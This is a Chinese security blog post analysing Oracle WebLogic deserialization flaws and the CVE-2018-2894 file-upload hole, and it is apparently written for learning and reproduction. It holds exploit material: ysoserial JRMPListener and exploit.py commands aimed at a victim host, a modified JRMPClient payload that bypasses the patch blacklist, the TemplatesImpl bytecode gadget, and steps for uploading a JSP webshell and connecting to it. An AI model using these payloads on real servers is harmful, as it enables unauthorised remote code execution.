Weblogic (下)

昨天分享了前一部分的内容Weblogic,今天接着下面的内容

0x06 CVE-2016-0638

有人发现利用 weblogic.jms.common.StreamMessageImplreadExternal()也是可以进行反序列化操作的,而且这个不受黑名单限制,所以可以绕过了之前的补丁。

使用grep命令查找发现这个类在

漏洞位置

weblogic/wlserver/modules/com.oracle.weblogic.jms.jar!/weblogic/jms/ommon/StreamMessageImpl

同样我们在这里看到了readObject(),原理跟之前的CVE-2015-4852是一样的,就不重复说了。

针对CVE-2016-0638,oracle给的补丁是增加了一个过滤接口FilteringObjectInputStream,当然,oracle的补丁是付费用户才能下载的。所以根据网上参考的内容

FilteringObjectInputStream的实现如下:

public class FilteringObjectInputStream extends ObjectInputStream {
public FilteringObjectInputStream(InputStream in) throws IOException {
      super(in);
   }
   protected Class<?> resolveClass(java.io.ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
      String className = descriptor.getName();
      if(className != null && className.length() > 0 && ClassFilter.isBlackListed(className)) {
         throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
      } else {
         return super.resolveClass(descriptor);
      }
   }
}

在resolveClass方法里增加了黑名单的过滤ClassFilter.isBlackListed,来判断是否在黑名单里,同样是不严谨的,只要找到下一个可以触发的类,就又可以绕过了。

0x07 CVE-2016-3510

 

漏洞位置

weblogic\wlserver\modules\com.oracle.weblogic.iiop-common.jar!\weblogic.corba.utils.MarshalledObject

利用该类里的readObject将反序列化的对象封装进了 weblogic.corba.utils.MarshalledObject,然后再对 MarshalledObject进行序列化,生成 payload 字节码。反序列化时 MarshalledObject 不在 WebLogic 黑名单里,可正常反序列化,在反序列化时 MarshalledObject对象调用 readObject 时再次对 MarshalledObject 封装的序列化对象再次反序列化,这样就逃过了黑名单的检查。 相当于一种二次反序列化。

下面这段是该方法可以反序列化执行命令的验证

import java.io.*;
import java.rmi.MarshalledObject;
public class Test {
    public static void main(String []args) throws IOException, ClassNotFoundException {
        System.out.println("序列化之前");
        Blip p =new Blip(java.lang.Runtime.getRuntime().exec("calc"), 19);
        System.out.println("这是构造方法的:"+ p);
//        System.out.println("序列化操作");
//        ByteArrayOutputStream out = new ByteArrayOutputStream();
//        ObjectOutputStream oos = new ObjectOutputStream(out);
//        oos.writeObject(p);
//
//
//        System.out.println("反序列化之后");
//        ByteArrayInputStream in = new ByteArrayInputStream(out.toByteArray());
//        ObjectInputStream ois = new ObjectInputStream(in);
//        Blip pp = (Blip) ois.readObject();
//        System.out.println(pp);
        @SuppressWarnings("unchecked")
        MarshalledObject marshalledObject = new MarshalledObject(p);
        System.out.println(marshalledObject.get());
    }
}


0x08 CVE-2017-3248

概述

2017年1月27日,WebLogic 官方发布了一个编号为 CVEID: CVE-2017-3248 的漏洞,影响为 Critical 。之前轰动一时的反序列化漏洞,官方当时的修补措施,在本漏洞中可被绕过。

影响范围

JRMP 即 Java Remote MessagingProtocol 远程消息交换协议

它是运行在 Java 远程方法调用 RMI 之下、TCP/IP 之上的一个线路层协议。

JRMP是的Java技术协议的具体对象为希望和远程引用。JRMP只能是一个Java特有的,基于流的协议。相对于的RMI - IIOP的 ,该协议JRMP只能是一个对象的Java到Java的远程调用,这使得它依赖语言,意思是客户端和服务器必须使用Java。

该协议基于TCP/IP,既然是作为信息交换协议,必然存在接收和发送两个端点,JRMPListener可以粗糙的理解为发送端,在本实验中意为攻击机上1099端口与weblogic靶机上的7001进行通信达到远程命令执行的目的。

RMI:是 Java 的一组拥护开发分布式应用程序的 API,实现了不同操作系统之间程序的方法调用。值得注意的是,RMI 的传输 100%基于反序列化,Java RMI 的默认端口是 1099 端口。

CVE-2017-3248 这个漏洞是根据JRMPListener来构造的

漏洞原理

参考:

https://blog.csdn.net/archersaber39/article/details/80135463

这个漏洞就是利用 RMI 机制的缺陷,通过 JRMP 协议达到执行任意反序列化 payload 的目的。使用 ysoserial 的 JRMPLister,这将会序列化一个 RemoteObjectInvocationHandler,该 RemoteObjectInvocationHandler使用 UnicastRef建立到远端的 TCP 连接获取 RMI registry。 此连接使用 JRMP 协议,因此客户端将反序列化服务器响应的任何内容,从而实现未经身份验证的远程代码执行。

0x09 CVE-2018-2628

概述

2018年4月18日,Oracle官方发布了4月份的安全补丁更新CPU(Critical Patch Update),更新中修复了一个高危的 WebLogic 反序列化漏洞CVE-2018-2628。攻击者可以在未授权的情况下通过T3协议对存在漏洞的WebLogic组件进行远程攻击,并可获取目标系统所有权限。

影响范围

  • Oracle WebLogic Server10.3.6.0

  • Oracle WebLogic Server12.2.1.2

  • Oracle WebLogic Server12.2.1.3

  • Oracle WebLogic Server12.1.3.0

漏洞原理

weblogic 对于 T3 协议发送的数据包没有过滤,可以通过序列化 RemoteObjectInvocationHandler,利用 UnicastRef建立TCP连接获取远端的 RMI registry,注册一个 RMI 接口,通过 T3 协议建立连接,加载回来再一步步解包,利用 readObject 解析,从而造成反序列化远程代码执行。当然 weblogic 因为 CVE-2017-3248 对 rmi 接口做一个限制,在 InboundMsgAbbrev 类中,多了一个 resolveProxyClass,对 RMI 接口类型进行了判断,对于是 java.rmi.registry.Registry 接口注册的,会抛出 InvalidObjectException 错误。测试中发现没有打 CVE-2017-3248 patch 的情况下可以直接打)

 public class JRMPClient2 extends PayloadRunner implements ObjectPayload {
        public Activator getObject ( final String command ) throws Exception {
            String host;
            int port;
            int sep = command.indexOf(':');
            if ( sep < 0 ) {
                port = new Random().nextInt(65535);
                host = command;
            }
            else {
                host = command.substring(0, sep);
                port = Integer.valueOf(command.substring(sep + 1));
            }
            ObjID id = new ObjID(new Random().nextInt()); 
            TCPEndpoint te = new TCPEndpoint(host, port);
            UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
            RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
            Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
                Activator.class
            }, obj);
            return proxy;
        }
        public static void main ( final String[] args ) throws Exception {
            Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
            PayloadRunner.run(JRMPClient2.class, args);
        }
    }

根据廖新喜大佬的说法:

InboundMsgAbbrev中的resolveProxyClass是处理rmi接口类型的,只判断了java.rmi.registry.Registry,其实随便找一个rmi接口即可绕过。

这个类在

com.bea.core.weblogic.rmi.client.jar

在 

weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.class

这里多了一个

resolveProxyClass

这个resolveProxyClass只是对RMI接口类型进行了判断,判断RMI接口是否为

java.rmi.registry.Registry

private static class ServerChannelInputStream extends ObjectInputStream implements ServerChannelStream {
   protected Class resolveClass(ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
      String className = descriptor.getName();
      if(className != null && className.length() > 0 
          && ClassFilter.isBlackListed(className)) {
         throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
      } else {
         Class c = super.resolveClass(descriptor);
           //省略
      }
   }
   protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
      String[] arr$ = interfaces;
      int len$ = interfaces.length;
      for(int i$ = 0; i$ < len$; ++i$) {
         String intf = arr$[i$];
         if(intf.equals("java.rmi.registry.Registry")) {
            throw new InvalidObjectException("Unauthorized proxy deserialization");
         }
      }
      return super.resolveProxyClass(interfaces);
   }

从这个补丁也可以看出,在resolveClass和resolveProxyClass都设置了黑名单java.rmi.registry.Registry。

这里,换个RMI 接口类型即可绕过这个补丁。

只要是继承extends java.rmi.Remote的就可以了,比如

java.rmi.activation.Activator、javax.management.remote.rmi.RMIConnection、sun.jvmstat.monitor.remote.RemoteVm等 

因为用ysoserial生成的payload是用的java.rmi.registry.Registry,而weblogic对他进行了过滤,所以会出错。所以要修改ysoserial里JRMPClient的实现代码 ,改为上面几种类型即可。

序列化一个RemoteObjectInvocationHandler,它会利用UnicastRef创建到远端的tcp连接获取RMI registry,加载回来再利用readObject解析,从而造成反串行化远程代码执行。

漏洞复现

ysoserial

https://github.com/frohoff/ysoserial

exploit.py

https://www.exploit-db.com/exploits/44553/

首先下载ysoserial,并启动一个JRMP Server

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

其中, [command]即为我想执行的命令,而 [listen port]是JRMP Server监听的端口

使用exploit.py脚本,向目标Weblogic( http://your-ip:7001)发送数据包

python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

其中, [victim ip][victim port]是目标weblogic的IP和端口, [path to ysoserial]是本地ysoserial的路径, [JRMPListenerip][JRMPListenerport]第一步中启动JRMP Server的IP地址和端口。 [JRMPClient]是执行JRMPClient的类,可选的值是 JRMPClient


0x09 CVE-2018-2893

概述

7月18日,Oracle官方发布了季度补丁更新,其中修复了一个 Oracle WebLogic Server 远程代码执行漏洞CVE-2018-2893,此漏洞是对编号为 CVE-2018-2628 修复的绕过,攻击者同样可以在未身份验证的情况下对WebLogic进行攻击。

这次的WebLogic (CVE-2018-2893)漏洞和之前的JRMP协议漏洞(CVE-2018-2628)漏洞是分不开的,他是结合了RMI机制缺陷和JDK反序列化漏洞绕过了WebLogic黑名单。

影响范围

  • WebLogic 10.3.6.0

  • WebLogic 12.1.3.0

  • WebLogic 12.2.1.2

  • WebLogic 12.2.1.3

漏洞原理

这次的CVE-2018-2893是通过JDK的反序列化漏洞实现的RCE,也就是ysoserial中的JDK7u21就可以实现绕过。

JDK7u21利用链也是十分复杂的但是还是有很多共同点的,它也是借用了动态代理的思路,走的也是经典的sun.reflect.annotation.AnnotationInvocationHandler的invoke方法,这个走的是hashcode这个分支。

首先存在HashSet类

这次的利用有三个特点

1、HashSet中有自己实现的readObject方法

2、而LinkedHashSet继承了Hashset ,并且调用了一处put方法,该方法存在hash绕过

3、利用jdk本身,此处为JDK7u21

漏洞作者对该处的介绍

https://gist.github.com/frohoff/24af7913611f8406eaf3

这次漏洞最值得注意的是AnnotationInvocationHandler和TemplatesImpl。这些对象可以小心地嵌套在LinkedHashSet和HashMap实例中,以及put方法中的hash绕过,存在结果为0的特定字符串值(“f5a5a608”)。

详细请转到

https://lightless.me/archives/java-unserialization-jdk7u21.html

在反序列化期间,此哈希绕过会触发对代理实例上的equals()和AnnotationInvocationHandler实例上的equalsImpl()的调用,而后者又会调用TemplatesImpl实例上的所有零参数方法,包括TemplatesImpl.getOutputProperties()。这最终调用ClassLoader.declareClass(),其中恶意字节数组已经反序列化到TemplatesImpl实例中,允许恶意定义的类然后使用静态初始化程序执行任意操作,例如Runtime.exec()来执行命令。

参考:

https://lightless.me/archives/java-unserialization-jdk7u21.html

public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
    // 利用TemplatesImpl类来触发恶意的bytescode
    final TemplatesImpl templates = new TemplatesImpl();
    // 获取容器ClassPool,注入classpath
    ClassPool pool = ClassPool.getDefault();
    System.out.println("insertClassPath: " + new ClassClassPath(StubTransletPayload.class));
    pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
    // 获取已经编译好的类
    System.out.println("ClassName: " + StubTransletPayload.class.getName());
    final CtClass clazz = pool.get(StubTransletPayload.class.getName());
    // 在静态的的构造方法中插入payload
    clazz.makeClassInitializer()
            .insertAfter("java.lang.Runtime.getRuntime().exec(\""
                    + command.replaceAll("\"", "\\\"")
                    + "\");");
    // 给payload类设置一个名称
    // unique name to allow repeated execution (watch out for PermGen exhaustion)
    clazz.setName("ysoserial.Pwner" + System.nanoTime());
    // 获取该类的字节码
    final byte[] classBytes = clazz.toBytecode();
    // inject class bytes into instance
    Reflections.setFieldValue(
        templates,
        "_bytecodes",
        new byte[][] {
                classBytes,
                ClassFiles.classAsBytes(Foo.class)
        });
    // required to make TemplatesImpl happy
    Reflections.setFieldValue(templates, "_name", "Pwnr");
    Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    // 只要触发这个方法就能执行我们注入的bytecodes
    // templates.getOutputProperties();
    return templates;
}

通过精心构造一个 TemplatesImpl 对象,并且想办法触发该对象的 getOutputPropertites() 方法,就能执行我们构造的命令。

利用流程:

1、HashSet 其实本质上就是一个 HashMap<key,newObject()>,key 是我们存进去的数据,而 value 就是静态的 Object 对象。

2、当 LinkedHashSet 被反序列的时候,会调用其父类 HashSet 的 readObject 方法。

3、反序列化的时候,会依次将 templatesproxy加入到 map 中,继续跟进 put 方法

4、触发 key.equals(k) 方法 ,使用动态代理了 templates接口,当调用到 templates.equals() 的时候,自然会调用到 handler 的 invoke 方法,这里也就是会调用 proxy.equals(templates) 方法。

5、继续跟进 equalsImpl 方法,会发现这个方法会依次调用 Templates 的每一个方法,(如果不太理解的话可以在这里下断单步跟一下),所以会调用到我们前面提到的 Templates.getOutputProperties() 方法,进而造成命令执行。

附上漏洞作者的调用流程图:

动态代理:

Java 中的动态代理十分灵活,只需要为一组接口指定好 InvocationHandler 对象,那么调用接口方法的时候,将会被转派到 handler 对象的 invoke 方法,在这个方法中可以通过反射执行原方法,也可以做一些其他的操作。

所有的 Handler 类都需要实现 InvocationHandler 这个接口,当我们通过代理对象调用某个方法的时候,这次调用就会被转派到 Handler 的 invoke 方法,该函数签名如下:

Object invoke(Object proxy, Method method, Object[] args) throws Throwable

  • proxy: 是被代理的真实对象

  • method: 要调用的真实对象方法的 Method 对象

  • args: 调用真实对象方法时的参数

当创建好 InvocationHandler对象后,就可以通过 Proxy.newProxyInstance方法来创建动态代理,该方法签名如下:

public static Object newProxyInstance(ClassLoader loader, Class[] interfaces, InvocationHandler h) throws IllegalArgumentException

  • loader: 定义由哪个 ClassLoader 对象来对生成的代理对象进行加载

  • interfaces: Interface 对象的数组,表示将要给需要代理的对象提供的一组什么接口

  • h: InvocationHandler 对象,表示当目前这个动态代理对象在调用方法的时候,应当关联到哪一个 InvocationHandler 对象上

下面是动态代理实现的一个例子:

// 需要实现的接口
interface ISubject {
    public void hello(String str);
}
// 实际的需要被代理的对象
class SubjectImpl implements ISubject {
    public void hello(String str) {
        System.out.println("SubjectImpl.hello(): " + str);
    }
}
// Handler对象
class Handler implements InvocationHandler {
    private Object subject;
    public Handler(Object subject) {
        this.subject = subject;
    }
    public Object invoke(Object object, Method method, Object[] args) throws Throwable {
        System.out.println("before!");
        method.invoke(this.subject, args);
        System.out.println("after!");
        return null;
    }
}
public class DynamicProxy {
    public static void main(String[] args) {
        SubjectImpl subject = new SubjectImpl();
        InvocationHandler tempHandler = new Handler(subject);
        // 创建代理
        ISubject iSubject = (ISubject) Proxy.newProxyInstance(ISubject.class.getClassLoader(), new Class<?>[] {ISubject.class}, tempHandler);
        iSubject.hello("world!");
    }
}

当代理创建完成后,我们调用 iSubject.hello 方法时,会被分配到 invoke 方法执行;输出如下:

before!
SubjectImpl.hello(): world!
after!

此处复现需要注意jdk的版本不能过高

0x10 CVE-2018-2894

概述

Oracle官方发布了7月份的关键补丁更新CPU(Critical Patch Update),其中包含一个高危的Weblogic未授权任意文件上传漏洞(CVE-2018-2894)

影响范围

Oracle WebLogic Server

版本10.3.6.0

版本12.1.3.0

版本12.2.1.2

版本12.2.1.3

该漏洞的影响模块为web服务测试页,在默认情况下不启用。 受影响的页面为/wsutc/config.do和/wsutc/begin.do

漏洞原理

关于WebLogic任意文件上传

路径:

http://127.0.0.1:7001/ws_utc/config.do

http://127.0.0.1:7001/ws_utc/begin.do

首先,访问config.do来配置工作目录,关于CVE-2018-2894两处上传,这篇文章已经分析的挺好的,我只是顺着复现了一遍。

https://www.anquanke.com/post/id/152823

配置工作目录:

这里要注意一点:

weblogic\userprojects\domains\wlserver\servers\AdminServer\tmp_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls\4mcj4y\war\css

工作目录要设置为 ws_utc应用的静态文件css目录,访问这个目录是无需权限的便于上传之后的利用。

工作台设置一个新的目录后,weblogic会将原来目录下的子目录和文件一起转移到新设定的目录下,但旧的目录依然保留 。

为什么要配置工作目录,是因为默认的工作目录在URL访问的时候是不可达的,攻击者在config.do和begin.do上传的文件,最终都会成功上传,只是访问格式和路径不尽相同。

ps:上面的图是那篇分析的大牛画的

weblogic漏洞产生的过程 :

ps:上面的图是安全客那篇分析的大牛画的

攻击者开始攻击后,Weblogic在服务端做了很多的判断。

如果设定了新的工作目录,那么程序会自动拷贝所有旧目录下的子目录和文件到新的设定目录里,并且设定新的目录作为工作目录。

如果攻击者通过begin.do上传的话,Weblogic在服务端会判断有没有upload目录,如果不存在会自动创建,再接着在upload目录下创建RsUpload格式化后的作为目录名,紧接着获取到importfilename字段名作为后续的文件名拼接的一部分。

如果通过config.do上传的话就获取GET请求中的timestamp参数作为后续webshell的文件名中的一部分。

原理大致流程阐述的差不多了,我们开始利用

begin.do页面上传漏洞

上传jsp小马

上传的真正地址为

http://127.0.0.1:7001/ws_utc/resources/ws/config/import?timestamp=1532615363028

抓取的数据包中,就是一个简单的上传数据流,表单字段importfilename是关键值。

begin.do漏洞原因分析

ws-testpage-impl.jar!/com/oracle/webservices/testclient/setting/TestClientWorkDirManager.class

在这里存在更改工作目录的函数

public void changeWorkDir(String path) {
    String[] oldPaths = this.getRelatedPaths();
    if (this.testPageProvider.getWsImplType() == ImplType.JRF) {
        this.isWorkDirChangeable = false;
        this.isWorkDirWritable = isDirWritable(path);
        this.isWorkDirChangeable = true;
        this.setTestClientWorkDir(path);
    } else {
        this.persistWorkDir(path);
        this.init();
    }
    if (this.isWorkDirWritable) {
        String[] newPaths = this.getRelatedPaths();
        moveDirs(oldPaths, newPaths);
    } else {
        Logger.fine("[INFO] Newly specified TestClient Working Dir is readonly. Won't move the configuration stuff to new path.");
    }
}

该函数不对更改的目录路径做任何检查

ws-testpage-impl.jar!/com/oracle/webservices/testclient/ws/res/SettingResource.class

在这个地方,设置路径

@Path("/keystore")
    @POST
    @Produces({"application/xml", "application/json"})
    @Consumes({"multipart/form-data"})
    public Response editKeyStoreSettingByMultiPart(FormDataMultiPart formPartParams) {
        if (!RequestUtil.isRequstedByAdmin(this.request)) {
            return Response.status(Status.FORBIDDEN).build();
        } else {
            if (TestClientRT.isVerbose()) {
                Logger.fine("calling SettingResource.addKeyStoreSettingByMultiPart");
            }
            String currentTimeValue = "" + (new Date()).getTime();
            KeyValuesMap<String, String> formParams = RSDataHelper.getInstance().convertFormDataMultiPart(formPartParams, true, TestClientRT.getKeyStorePath(), currentTimeValue);
            ....
        }
    }

ws-testpage-impl.jar!/com/oracle/webservices/testclient/core/ws/cdf/config/parameter/TestClientRT.class

public static String getKeyStorePath() {
        return getConfigDir() + File.separator + "keystore";
    }

然后得到要写入的路径 storePath

weblogic\userprojects\domains\wlserver\servers\AdminServer\tmp\.internal\com.oracle.webservices.wls.ws-testclient-app-wls.ear

其中用jd.gui反编译之后的

/ws-testclient-app.war/WEB-INF/lib/ws-testpage-impl.jar/com.oracle.webservices.testclient/res/WebserviceResource.class

这里面存在importWsTestConfig方法

@Path("/config/import")
  @POST
  @Produces({"application/xml", "application/json"})
  @Consumes({"multipart/form-data"})
  public Response importWsTestConfig(FormDataMultiPart formPartParams)
  {
    if (RequestUtil.isProductionMode()) {
      return Response.status(Response.Status.SERVICE_UNAVAILABLE).build();
    }
    if (TestClientRT.isVerbose()) {
      Logger.fine("calling WebserviceResource.importWsTestConfig");
    }
    KeyValuesMap<String, String> formParams = RSDataHelper.getInstance().convertFormDataMultiPart(formPartParams, true);
    ActionData ad = new ActionData();
    ad.put("request_form_data", formParams);
    ad = new ImportTestCaseAction().process(ad);
    if (ad.get("response_data") != null) {
      return Response.ok(ad.get("response_data")).build();
    }
    return Response.ok().build();
  }

这里首先判断是否为生产模式,然后调用了RSDataHelper方法,跟进查看

调用里面的convertFormDataMultiPart方法,可以看到上传目录直接由字段+日期时间拼接而成,没有任何限制

代码中检查了当前工作目录下是否存在upload目录,如果没有的话则创建,并且调用了cleanObsoleteFile方法强制遍历了一次目录中所有的文件,并且发现文件就删除掉

  private void cleanObsoleteFile(File path)
  {
    File[] files = path.listFiles();
    for (File f : files) {
      if (f.isDirectory())
      {
        Long createDate = Long.valueOf(f.lastModified());
        if ((new Date().getTime() - createDate.longValue() > 60000L) && (f.exists())) {
          try
          {
            del(f);
          }
          catch (Exception localException) {}
        }
      }
    }
  }

再创建了一个以字符串RsUpload打头的加格式化后的时间命名的目录,并且作为上传文件保存的目录。

String dirName = "RS_Upload_" + df.format(new Date());
String uploadPath = (new File(pathFile, dirName)).getAbsolutePath();

接下来程序获得了上传的表单的form-data , 经过循环遍历获取了所有的表单字段和对应的value

  public KeyValuesMap<String, String> convertFormDataMultiPart(FormDataMultiPart formPartParams, boolean isExtactAttachment, String path, String fileNamePrefix)
  {
    if (formPartParams == null) {
      return null;
    }
    KeyValuesMap<String, String> kvMap = new KeyValuesMapImpl();
    Map<String, List<FormDataBodyPart>> fieldMap = formPartParams.getFields();
    Set<String> keySet = fieldMap.keySet();
    List<FormDataBodyPart> fomrBodyParts = null;
    FormDataContentDisposition fdcd = null;
    File storePath = new File(path);
    for (Iterator localIterator1 = keySet.iterator(); localIterator1.hasNext();)
    {
      key = (String)localIterator1.next();
      fomrBodyParts = (List)fieldMap.get(key);
      for (FormDataBodyPart bodyPart : fomrBodyParts)
      {
        fdcd = bodyPart.getFormDataContentDisposition();
        String attachName = fdcd.getFileName();
        if ((attachName != null) && (attachName.trim().length() > 0))
        {
          if ((attachName == null) || (attachName.trim().length() == 0))
          {
            kvMap.put(key, new ArrayList());
          }
          else
          {
            attachName = refactorAttachName(attachName);
            if (fileNamePrefix == null) {
              fileNamePrefix = key;
            }
            String filename = new File(storePath, fileNamePrefix + "_" + attachName).getAbsolutePath();
            kvMap.addValue(key, filename);
            if (isExtactAttachment) {
              saveAttachedFile(filename, (InputStream)bodyPart.getValueAs(InputStream.class));
            }
          }
        }
        else if (bodyPart.isSimple()) {
          kvMap.addValue(key, bodyPart.getValue());
        } else {
          Logger.error("[SKIP] Unknown part type. Name: " + fdcd.getName());
        }
      }
    }
    String key;
    return kvMap;
  }

数据做两块存储,一块保存在kvMap集合中、获取的附件通过saveAttacheFile方法保存到磁盘中,代码如下

里面可以看到文件名的拼接是fileNamePrefix_attachName就完事了

再跟下去,由于未授权访问且导入的文件格式以及数据不是weblogic能处理的

所以程序在context.createUnmarshaller方法处抛出空指针异常的错误,这就导致了上传成功后Response的状态是导入失败,但是其实已经上传成功

另外,能不能上传成功关键是是否处于生产模式,在convertFormDataMultiPart方法 ,发现下面的invokeWebServiceByMultiPart没有检查生产模式 ,这个点再10.3.6里存在,我的环境是12.2.1.3提示需要认证

ws_utc/resources/ws/invoke

在这个点里可以跨目录上传。

附上别人用10.3.6复现的截图


config.do页面上传漏洞

上传成功

上传路径

http://127.0.0.1:7001/ws_utc/resources/setting/keystore?timestamp=1532618081380

这次获取的表单字段是ks_filename

上传后的shell位于工作台配置的目录下的/config/keystore/目录中,文件名的格式相对来说简单,采用了POST请求中URL地址上携带的参数timestamp的值加上下划线拼接起来的文件名

菜刀连接

http://IP:7001/wsutc/css/config/keystore/15329402054711.jsp

config.do漏洞原因分析

config.do上传依旧定位到RSDataHelper里

这次获取的表单字段是ks_filename

上传后的shell位于工作台配置的目录下的/config/keystore/目录中,文件名的格式相对来说简单,采用了POST请求中URL地址上携带的参数timestamp的值加上下划线拼接起来的文件名

防御措施

  1. 设置config.do、begin.do、invoke页面登录授权后才可访问;

  2. 对上传的方法加入过滤机制。

  3. 升级到官方最新版本。

更新补丁:

https://www.oracle.com/technetwork/topics/security/public-vuln-to-advisory-mapping-093627.html 

参考链接

http://www.freebuf.com/vuls/178510.html

https://blog.riskivy.com/weblogic-cve-2018-2894/

看不过瘾?合天2017年度干货精华请点击《【精华】2017年度合天网安干货集锦

别忘了投稿哦!

合天公众号开启原创投稿啦!!!

大家有好的技术原创文章。

欢迎投稿至邮箱:edu@heetian.com

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哟。

有才能的你快来投稿吧!

点击了解投稿详情 重金悬赏 | 合天原创投稿等你来!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值